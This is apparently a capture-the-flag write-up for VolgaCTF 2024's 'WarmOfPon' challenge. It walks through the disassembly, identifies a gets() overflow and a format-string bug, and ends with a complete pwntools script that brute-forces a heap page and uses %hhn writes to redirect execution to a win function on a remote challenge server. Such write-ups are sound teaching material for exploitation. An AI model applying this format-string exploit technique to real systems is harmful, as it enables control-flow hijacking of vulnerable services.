---
# System prepended metadata

title: VolgaCTFQualifier2024/pwn/WarmOfPon

---

# pwn/WarmOfPon

Decompiling using ghidra:
```clike
undefined8 main(void)
{
  void *pvVar1;
  undefined8 unaff_retaddr;
  char local_28 [24];
  ulong local_10;
  
  setup();
  pvVar1 = malloc(8);
  *(undefined8 *)((ulong)pvVar1 & 0xfffffffffffff000) = unaff_retaddr;
  gets(local_28);
  printf(local_28);
  for (local_10 = 0; local_10 < 0x21; local_10 = local_10 + 1) {
  }
  return 0;
}
```
![:meow_clorox:](https://slackmojis.com/emojis/30804-meow_clorox/download) You would get a mess. Instead, lets look at the disassembly directly:
```asm
00000000004011dd <main>:
  4011dd:       55                      push   %rbp
  4011de:       48 89 e5                mov    %rsp,%rbp
  4011e1:       48 83 ec 30             sub    $0x30,%rsp
  4011e5:       b8 00 00 00 00          mov    $0x0,%eax
  4011ea:       e8 77 ff ff ff          call   401166 <setup>
  4011ef:       48 c7 45 d8 00 00 00    movq   $0x0,-0x28(%rbp)
  4011f6:       00
  4011f7:       bf 08 00 00 00          mov    $0x8,%edi
  4011fc:       e8 5f fe ff ff          call   401060 <malloc@plt>
  401201:       48 25 00 f0 ff ff       and    $0xfffffffffffff000,%rax
  401207:       48 89 c2                mov    %rax,%rdx
  40120a:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  40120e:       48 2d 60 09 00 00       sub    $0x960,%rax
  401214:       48 89 10                mov    %rdx,(%rax)
  401217:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  40121b:       48 83 c0 30             add    $0x30,%rax
  40121f:       48 8b 10                mov    (%rax),%rdx
  401222:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  401226:       48 2d 60 09 00 00       sub    $0x960,%rax
  40122c:       48 8b 00                mov    (%rax),%rax
  40122f:       48 89 10                mov    %rdx,(%rax)
  401232:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  401236:       48 89 c7                mov    %rax,%rdi
  401239:       b8 00 00 00 00          mov    $0x0,%eax
  40123e:       e8 0d fe ff ff          call   401050 <gets@plt>
  401243:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  401247:       48 89 c7                mov    %rax,%rdi
  40124a:       b8 00 00 00 00          mov    $0x0,%eax
  40124f:       e8 ec fd ff ff          call   401040 <printf@plt>
  401254:       48 c7 45 f8 00 00 00    movq   $0x0,-0x8(%rbp)
  40125b:       00
  40125c:       eb 4b                   jmp    4012a9 <main+0xcc>
  40125e:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  401262:       48 2d 60 09 00 00       sub    $0x960,%rax
  401268:       48 8b 00                mov    (%rax),%rax
  40126b:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
  40126f:       48 c1 e2 0c             shl    $0xc,%rdx
  401273:       48 01 d0                add    %rdx,%rax
  401276:       48 8b 00                mov    (%rax),%rax
  401279:       48 85 c0                test   %rax,%rax
  40127c:       74 26                   je     4012a4 <main+0xc7>
  40127e:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  401282:       48 2d 60 09 00 00       sub    $0x960,%rax
  401288:       48 8b 00                mov    (%rax),%rax
  40128b:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
  40128f:       48 c1 e2 0c             shl    $0xc,%rdx
  401293:       48 01 d0                add    %rdx,%rax
  401296:       48 8b 10                mov    (%rax),%rdx
  401299:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  40129d:       48 83 c0 30             add    $0x30,%rax
  4012a1:       48 89 10                mov    %rdx,(%rax)
  4012a4:       48 83 45 f8 01          addq   $0x1,-0x8(%rbp)
  4012a9:       48 83 7d f8 20          cmpq   $0x20,-0x8(%rbp)
  4012ae:       76 ae                   jbe    40125e <main+0x81>
  4012b0:       b8 00 00 00 00          mov    $0x0,%eax
  4012b5:       c9                      leave
  4012b6:       c3                      ret
```
We can see that the code use the following sequence of instructions to compute address of stack variables:
```asm
...
lea    -0x28(%rbp),%rax
sub    $offset,%rax
...
```
which seems to confuse ghidra probably because
1: What could be done with just a `lea` instruction is splited into a `lea` instruction and a `sub` instruction.
2: Sometimes, offset is set to 0x960 and the stack address calculated is way below the rsp pointer.

We should look at the disassembly code bits by bits (Skipping function prologue and epilogue):
1. This allocate 8 bytes using malloc, page aligned the return pointer and stash the result into rdx. Essentially, a pointer to a page on the heap is stashed into rdx
```asm
  4011f7:       bf 08 00 00 00          mov    $0x8,%edi
  4011fc:       e8 5f fe ff ff          call   401060 <malloc@plt>
  401201:       48 25 00 f0 ff ff       and    $0xfffffffffffff000,%rax
  401207:       48 89 c2                mov    %rax,%rdx
```
2. The pointer to the page on the heap in rdx is stored at "offset" 0x960 on the stack.
```asm 
  40120a:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  40120e:       48 2d 60 09 00 00       sub    $0x960,%rax
  401214:       48 89 10                mov    %rdx,(%rax)
```
3. Saved rip is loaded into rdx.
```asm
  401217:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  40121b:       48 83 c0 30             add    $0x30,%rax
  40121f:       48 8b 10                mov    (%rax),%rdx
```
4. The pointer to the page on the heap stored at "offset" 0x960 on the stack is loaded back into rax.
```asm
  401222:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  401226:       48 2d 60 09 00 00       sub    $0x960,%rax
  40122c:       48 8b 00                mov    (%rax),%rax
```
5. Saved rip in rdx is stored into the first machine word in the page on the heap
```asm
  40122f:       48 89 10                mov    %rdx,(%rax)
```
6. The function `gets` is called on a stack buffer at 0x20(%rbp). (**Buffer Overflow Vulnerability**)
```asm
  401232:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  401236:       48 89 c7                mov    %rax,%rdi
  401239:       b8 00 00 00 00          mov    $0x0,%eax
  40123e:       e8 0d fe ff ff          call   401050 <gets@plt>
```
7. The function `printf` is called on the same stack buffer at 0x20(%rbp). (**Format String Exploit**)
```asm
  401243:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  401247:       48 89 c7                mov    %rax,%rdi
  40124a:       b8 00 00 00 00          mov    $0x0,%eax
  40124f:       e8 ec fd ff ff          call   401040 <printf@plt>
```
8. Zero counter variable on the stack at -0x8(%rbp). Jump into the loop.
```asm
  401254:       48 c7 45 f8 00 00 00    movq   $0x0,-0x8(%rbp)
  40125b:       00
  40125c:       eb 4b                   jmp    4012a9 <main+0xcc>
```
9. The pointer to the page on the heap stored at "offset" 0x960 on the stack is loaded back into rax again.
```asm
  40125e:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  401262:       48 2d 60 09 00 00       sub    $0x960,%rax
  401268:       48 8b 00                mov    (%rax),%rax
```
10. Compute the pointer to the page that is `counter` pages from the our pointer to the page on the heap, and load the first machine word from the page into rax. 
```asm
  40126b:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
  40126f:       48 c1 e2 0c             shl    $0xc,%rdx
  401273:       48 01 d0                add    %rdx,%rax
  401276:       48 8b 00                mov    (%rax),%rax
```
11. Continue to the next iteration of the loop if the loaded machine word is zero.
```asm
  401279:       48 85 c0                test   %rax,%rax
  40127c:       74 26                   je     4012a4 <main+0xc7>
```
12. The pointer to the page on the heap stored at "offset" 0x960 on the stack is loaded back into rax yet again.
```asm
  40127e:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  401282:       48 2d 60 09 00 00       sub    $0x960,%rax
  401288:       48 8b 00                mov    (%rax),%rax
```
13. Again, compute the pointer to the page that is `counter` pages from the our pointer to the page on the heap, and load the first machine word, which we have verified to be non-zero, from the page into rax. 
```asm
  40128b:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
  40128f:       48 c1 e2 0c             shl    $0xc,%rdx
  401293:       48 01 d0                add    %rdx,%rax
  401296:       48 8b 10                mov    (%rax),%rdx
```
14. Overwrite the saved rip with the loaded machine word
```asm
  401299:       48 8d 45 d8             lea    -0x28(%rbp),%rax
  40129d:       48 83 c0 30             add    $0x30,%rax
  4012a1:       48 89 10                mov    %rdx,(%rax)
```
15. Increment counter variable on the stack at -0x8(%rbp). Stop the loop if the counter is greater than 0x20.
```asm
  4012a4:       48 83 45 f8 01          addq   $0x1,-0x8(%rbp)
  4012a9:       48 83 7d f8 20          cmpq   $0x20,-0x8(%rbp)
  4012ae:       76 ae                   jbe    40125e <main+0x81>
```

Essentialy, the program would check the first machine word from 0x20 heap pages, and if any of them are non-zero, use it to overwrite the return pointer. As it turns out, such address are brute-forceable and could take advantage of format string exploit the overwrite the first machine word from some heap page.

The final question is where do we return to.

As it turns out the challenge binary provided a `win` function that would invoke `system("cat flag.txt")` for us.

Sanity check:
```shell
$ checksec --file=warm_of_pon
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   33 Symbols        No    0               2               warm_of_pon
```
PIE is not enabled so we do not need to leak any address.

# Solution
```python
#!/usr/bin/env python3
from pwn import *

context.binary = binary = "./warm_of_pon"

for i in range(1000):
    try:
        e = ELF(binary)
        #c = gdb.debug(binary)
        c = remote("172.105.246.203", 1339)

        def ret_to(address, value):
            # Let's write byte by byte
            value_addresses = [address + i for i in range(8)]
            value_bytes     = list(value.to_bytes(8, 'little'))

            # Some magic to construct the format string payload automatically
            actions = list(zip(value_addresses, value_bytes))
            actions.sort(key=lambda x: x[1])

            payload = b""

            for i in range(8):
                prev_byte = actions[i-1][1] if i != 0 else 0
                curr_byte = actions[i][1]

                delta_byte = curr_byte - prev_byte
                if delta_byte != 0:
                    payload += f"%{delta_byte}x".encode()
                payload += f"%{18+i}$hhn".encode()

            payload += b"marker"
            payload += b"\x00"
            payload = payload.ljust(80)

            for i in range(8):
                address = actions[i][0]
                payload += p64(address)

            c.sendline(payload)
            c.recvuntil(b"marker")

        # Guess for valid heap page address
        address = 0x1321000

        main = 0x4011dd
        win = 0x4011c7

        # Return twice to fix stack alignment for system
        ret_to(address, main)
        ret_to(address, win)

        result = c.clean(0.1)

        print(f"Trial {i} => {result}")
    except EOFError:
        print(f"Trial {i} => EOFError")

```